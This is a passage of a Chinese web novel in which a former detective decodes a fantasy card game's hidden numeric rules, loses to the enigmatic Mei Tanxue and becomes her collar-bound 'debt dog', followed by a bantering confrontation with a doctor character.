如果把她初始牌相加，3+9+10+13+15+16+25，刚好就等于91！
叶枝抓住这关键思路，好似有一线银光射穿乌云。
必须继续想，这点线索根本不够。
扑克牌中还有什么等于九十一？
叶枝立刻想到——
从A一直加到K，也等于91！
假设这些牌恰好代表着A到K，铁牌的数量又不符合：她们每人有七张牌，而从A-K有13张牌。
下一个问题：为什么要用铁牌？
叶枝摩挲手上那张薄薄的牌，也就是从梅探雪手中赢来的【2】。
铁相较于纸，有一个明显优势，那便是能做出更明显的厚度变化。
叶枝将【2】摆到普通牌旁，边沿贴边沿。
梅探雪抬起灰绿色的眸，用看宠物玩耍的怜爱目光，观察对面的一举一动。
与其说是观察，不如说是观测。
叶枝对比后发现，薄牌的厚度恰好是普通牌的一半。
她瞬间明白了——
薄牌代表一张牌，其它牌代表着两张牌！
26.诡秘牌法·叁
想明白的那一刻，叶枝感到全身在剧烈颤抖。
可怕的感觉，未曾有过的感觉。
在狂热的高压下，豁然开朗所刺激的多巴胺也成倍分泌，。
如果是这样，那也可以解释出，为什么看似没有关联的两张牌，却可以形成一头一尾，收走桌上的所有牌了！
叶枝在原世界刑侦科出身，当年修的高数概统全部满分，脑子堪称警校一绝。
于她而言，思考并不是什么难事。
各种方程式在大脑中飞速旋转，放到现实也不过才十几秒。
倒计时还在继续。
叶枝决定顺着刚才的思路，继续想下去，完全想清楚后再出牌。
已知她们两人的牌，都是A-K相加各一副。
接下来要确定的问题是，代表着两张牌的普通牌，分别代表哪两张牌？
为此需要先前几轮的结果，进行辅助判断：
11-13（收牌）
10-8-11-19（收牌）
2-16-23（收牌）
15-11（收牌）
10（收牌）
假设能收牌的必要条件，是最后一张牌蕴含的数字与头张牌蕴含的数字相同……
11和13、10和19、2和23、15和11中必有相同的数字。
8和11、8和10、2和16中不含有相同的数字。
自己的那副初始牌中，含有A到K各一张。
五秒内，叶枝凭借强大的心算功底，直接想出了她那副牌对应的数字：
3=A+2
9=3+6
10(薄牌)
13=4+9
15=7+8
16=J+5
25=K+Q
果然如此！
就是拉火车的变种！
叶枝想到这，心情无比舒畅，打算依照规则出牌。
因为梅探雪出牌不全，她无法判断对方手中的牌具体代表什么。
不过这不重要，只要想明白自己的牌，就能针对性地出牌。
还剩五秒。
五、四、三——
叶枝四肢彻底僵硬，正要推牌的手停在空中。
因为她猛然发现，从现在起，无论出什么都赢不了了！
梅探雪出的那张“10”，是从自己手中赢来的“10”。
而此刻梅探雪手中，还持有她初始的那张“19”，也就是9+10！
叶枝手指颤抖，在倒计时结束最后一秒推出：
【2】
出什么都没意义了。
这场对局的本质便是，完全公开透明的拉火车接龙，或者蜘蛛纸牌。
谁的牌多，谁就一定能赢。
换句话说，也就是谁先想清楚规则，谁就能赢。
梅探雪出牌：
【19】
果然如此。
叶枝眼前一黑，果然对方早就想清楚了规则。
不然没理由出“10”！
叶枝这轮开始时所剩的牌，唯一在自己手中找不到对应的数字的，恰恰就是那张薄薄的单牌10！
无相者91号宣布：“请梅探雪收走桌上的全部牌。”
梅探雪收起桌上的三张牌，再整整齐齐摆到面前一排。
“你赢了。”叶枝绝望地吐出了三个字。
围观者炸开了锅。
“怎么就赢了？”
“是不是跟牌的张数有关系？”
“不是，这还早着的呢，咋就必输了？她们的异能是啥？”
……
他们这些人哪儿有叶枝的智商，还没弄明白怎么一回事，就突然有一方。
不愧是押注10584点和28889点的顶级高手局，果然都不是凡人！
只有叶枝清楚地知道，再怎么出牌也没有意义了，倒不如早些结束这必输的闹剧。
梅探雪轻轻摇头：“不管怎么样，对局还没结束，请我们有始有终。”
“请梅探雪出牌。”
梅探雪出牌：
【10】
接下来，她只要重复这个套路即可。
无论是单张的“10”，还是蕴含9+10的“19”，都在对方的手里。
叶枝就像夹心饼干的软心，出什么，都是被夹的命。
“等我成为你的主人，你会服务于我，我也会告诉你一切。”
叶枝脑子乱哄哄的。
半小时前还拥有上万积点的她，此刻却变成了债犬预备役。
不过相比之下，围观群众秉着看热闹的心态，简直不要太快乐。
有羡慕叶枝的。
“我也想要这样的主人！”
“诡计多端的M……”
也有同情叶枝的。
“姓梅的真可怕，没见过她输过。”
“啧，怎么想不开和她对赌？”
也有羡慕双方的。
“那姑娘一看就是忠犬型的，当她主人不知道得多幸福。”
“俩人合作，不得把整个俱乐部赢下来？”
接下来的每一轮，都是那一轮的循环：
【10】
【25】
【19】
……
10与19，构成世间最完美的圆环，困住除它们以外的所有数字。
叶枝终于体会到了那种感觉。
她感受到成千上万个赌徒的绝望，挣扎是枉然，只能眼睁睁向必败的结局挪去。
终点的结局便是脖子套上锁链，成为赢家的债犬。
自始至终，梅探雪保持着一个动作，也保持着优雅神秘的微笑。
风衣与衬衫下，她的身段无比瘦削，却因挺直的脊背显得有力。
她每次推牌的手法越是轻飘飘的，呈现的力量感反而越强。
如此循环，叶枝手中空空如也。
那双灰绿色的眼睛，是魔鬼将人拽入泥潭的海藻。
终于，无相者91号宣布：“本场对决梅探雪枝胜，押注全部转移到获胜方。”
无相者19号眼球上的积点数字，飞到空中，盘旋飞舞片刻，就都回到了梅探雪头顶。
梅探雪头顶上赫然漂浮出“39473”，而叶枝变成了“0”。
不少围观者认识叶枝，听说过她代表祝扶桑打赢裴溪竹的光荣事迹。
如今，就是这样一个强者，竟然输了！只是输在这个人的手下，倒也不稀奇就是了。
“我了个波波大跳糖，姓梅的四万点，都快攒够赎身钱了吧？”多数人还是羡慕嫉妒恨的。
叶枝感受到脖子上略过的寒冷。
虽然谁也不认识，她还是感受到了刺骨的羞耻感，败北终究是件丢人的事。
“叶枝积点清零，债犬条件达成。”
“直到下次洗牌大会前，无法解除债犬身份。”
看热闹的人彻底满足。看别人沦为债犬，总归能幸灾乐祸一会儿。
牌桌消失。
喧闹的彩条与烟气也随之消失。
梅探雪从座位上站起来，踱着缓慢的猫步向叶枝走来。
无相者91号眉心正中扫出一束，红光，光束穿透叶枝的脖子，留下一个黑环。
叶枝低下头，石晶地板的倒影中，正映着她套有项圈的身影。
梅探雪轻轻抬起手，纤细的手指勾住淡淡花香的空气。
她们之间仿佛被一根看不见的线牵连，勾手的一瞬间，叶枝感到有人在拽她的脖子。
原来，这就是当债犬的感觉。
那种可怕的身不由己，让叶枝在众目睽睽下，直接单膝跪到地上。
梅探雪含笑俯下身，又将她扶起来，动作很轻很柔。
叶枝困惑地看向她。
梅探雪淡淡解释：“刚才在测试羁绊而已，不用在意。”
叶枝记得，梅探雪提出对决，是想请求自己帮一个忙。
“所以，需要我干什么？”叶枝问。
梅探雪披好大衣，整理好丝巾和袖子：“你一定很累了，先好好休息一天吧。”
围观者炸锅了，没人见过如此温柔地对待债犬的人！大部分人都会极尽奴隶主之恶。
他们彻底羡慕了。
“有这样一个主人，也不是不行。”
“为什么姐姐不把我变成债犬！”
……
叶枝只觉得诡异，黑环项圈的触感逐渐温热，温热到她都快要习惯了。
她仍不知道这女人究竟有什么意图，非要用这种方式完成目标。
直觉告诉她，这件事难度应该不小，肯定要费一番功夫了。
“我们走。”梅探雪说。
叶枝暗自叹口气，迈开长腿跟上她。
走廊中央，财神爷的雕像眼睛瞪得像铜铃，彩色光斑在嘴角飞舞，仿佛他也在嘲笑可怜的赌徒。
“梅探雪。”背后传来一个熟悉的男声。
梅探雪应声停下脚步。
叶枝也停下，转过头去，看到江落枫正站在她们身后。
她这才想起来，刚才江落枫也隐藏在人群中，悄悄看完了整个对决。
“江医生。”梅探雪微笑。
这两人互相认识吗？叶枝蹙起眉头，心头生起被欺骗感。
江落枫眼睛微微眯起，他终于不像人机了，露出极为警惕的神色。
梅探雪直勾勾盯着他：“怎么，江医生也想和我比一场吗？”
“我没那么傻。”
“那是何事？”
江落枫向前一步：“我观察你很久了。无论和谁对决，你永远会留出余地，从不会夺走对方的全部积点。”
“确实，我没有收债犬的习惯。”梅探雪很坦然。
江落枫深吸一口气：“我还知道，你曾从裴溪竹那里赢走两万积点。”
“这么在意我？”梅探雪的问句都很淡。
叶枝震惊，原来今天真遇到世纪王者了！祝扶桑口中让裴溪竹输过的另一个人，就是这个捉摸不透的神秘女人！
“你究竟想要什么？”江落枫一字一顿。
看得出来，他真的对这女人很有意见，人机都不人机了。
“我需要积点，仅此而已。”
叶枝奇怪，如果梅探雪赢过这么多，应该早就攒够五万积点了才对。
江落枫继续：“我还知道你用过好几万积点，在洗牌大会中故意输掉。将你的积点分给原本必输的人们，帮他们摆脱债犬身份。”
“我输了，仅此而已。”
江落枫立刻否认：“你不想输的时候，从没输过。”
叶枝作为新来的人，从没听说过这些传奇故事。
听他这么一讲
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，她也瞬间理解了，为什么他会格外注意这个女人。
江落枫步步紧逼：“你真这么好心，赢积点就是为了救债犬？”
叶枝也满腹怀疑，在充满欺诈的恶人世界中，此举确实可疑。
“我只是单纯喜欢赢积点。”
梅探雪注视他步步逼近，整个人一动不动，微笑甚至都没变过弧度。
叶枝觉得更诡异了，还有比这更诡异的人吗？赢积点不为兑换愿望，仅仅为了赢积点本身？
叶枝也不禁警惕起来。
如果江落枫所说为真，那今天发生的一切，诡异程度又更上了一层楼。
“所以，你为什么要动她？”江落枫发出最终的灵魂拷问。
叶枝也看向梅探雪。
梅探雪的骨相很立体，灯光穿过侧脸轮廓时，让她看起来更像一具雕塑艺术品了。
“你为什么这么关心她？”她毫无血色的唇一开一合。
空气突然安静。
叶枝也好奇地看向江落枫，一瞬间忘了主线任务：“对啊，你为什么这么关心我？”
江落枫：“？”
梅探雪终于露出一丝得意。
江落枫眼神闪躲，再张嘴时有些语无伦次：“你这么可疑，我肯定要怀疑的。而且，我知道叶警官是好人，你动她，说明你确实不是好人。”
活久见，人机说话打磕绊了！
叶枝和梅探雪纷纷眨眼，她们都没听懂他的逻辑。
江落枫尴尬，咳嗽两声后：“而且，焦糖枫叶拿铁真挺好喝的。”
……
原来在这等着呢！
叶枝心里暗爽，人机医生嘴上说唯爱美式，实际上拿铁喝得很欢嘛。
果然人在江湖飘，不能不广撒网结交朋友，关于梅探雪的信息可太关键了。
梅探雪微笑锐评：“江医生真容易被收买呢。”
“倒也不完全是这个原因。”江落枫语气幽怨。
“下次我请你喝所有口味的咖啡，好不好？”梅探雪继续钓鱼。
“你不行。”江落枫才不上当。
氛围莫名变得轻松欢快起来。
就好像，她们是认识许久的老朋友一般。
叶枝看戏笑得肚子疼，指着江落枫：“你多叫我几声姐姐，我请你吃好吃的。”
“你多大？”江落枫皱眉。
“一千多岁。”叶枝认为，这个答案也不算信口胡诌。
江落枫彻底拉下脸来，回归人机模式，不再言语了。
“你生气了？”叶枝凑到他面前。
江落枫不理她。
叶枝改口：“其实我二十七。”
“我比你大一岁。”江落枫这才开口。
梅探雪露出慈爱的目光。
叶枝故意邪魅一笑：“那我更想听你叫我姐姐了。”
江落枫脸又瞬间黑了，这次真不再理她了。
梅探雪抬手，召唤叶枝道：“走吧，时候不早了。”
江落枫还在生闷气，装作欣赏财神爷雕像，没和她们一起离开。
两人回到罪域天阶前台，鞋底重回嘎吱嘎吱的老旧地板。
O先生注意到两人头顶上的积点变化，以及叶枝脖子上新套上的黑色项圈。
于是，O先生直接略过叶枝。
“梅小姐，请问需要兑换积点吗？”
“我想直接用个人账户里的钱买些东西。”
叶枝瞪大眼睛，这也行，还能让O先生当代购的？
梅探雪冲叶枝笑道：“这些天降温，你的外套太薄了。”
“还好。”叶枝活动量大能量足，颇抗冻抗造。
梅探雪对O先生说：“请为叶警官换上一身暖和的外套。”
“如您所愿。”O先生打个响指。
叶枝还没反应过来，身上就披了件长款羽绒服，厚实万分。再加上俱乐部暖气很足，她差点没闷死在这里。
O先生抬起一张小卡片，念道：“Harmos羽绒服，感受极致的轻盈与保暖，让您无论风雪再大，都能自信前行。选择舒适，选择优雅，选择与众不同的温暖。”
叶枝：“……”
俱乐部还有赞助商吗？
O先生补充：“代购费是广告。”
叶枝：“……”
哈哈哈哈哈哈，有点冷。
梅探雪歪起头，打量她片刻后：“绿色很适合你。”
羽绒服灰绿的颜色，也像极了她的瞳色。
叶枝实在词穷，只能说：“谢谢。”
完了，这下真成主人与狗了。
梅探雪微笑道：“果然没错，你确实很聪明，找你找对了。”
“没你聪明。”叶枝没好气回道。
拜神秘的梅小姐所赐，从今天起，她又成穷光蛋了。
希望洗牌大会能尽早举行。
“如果没有异能，我也不好说，我们谁会先想出规则。”
叶枝犹豫地问：“所以，你的异能是？”
梅探雪悠悠眨了下眼。
“你可以不回答。”都是俱乐部里混的人，叶枝懂。
梅探雪摇头：“我答应过你，只要你赌上全部，我就会告诉你关于我的事。”
真讲信用，叶枝暗暗佩服。
“那我确实很好奇。”叶枝承认。
“我可以给过去发消息。”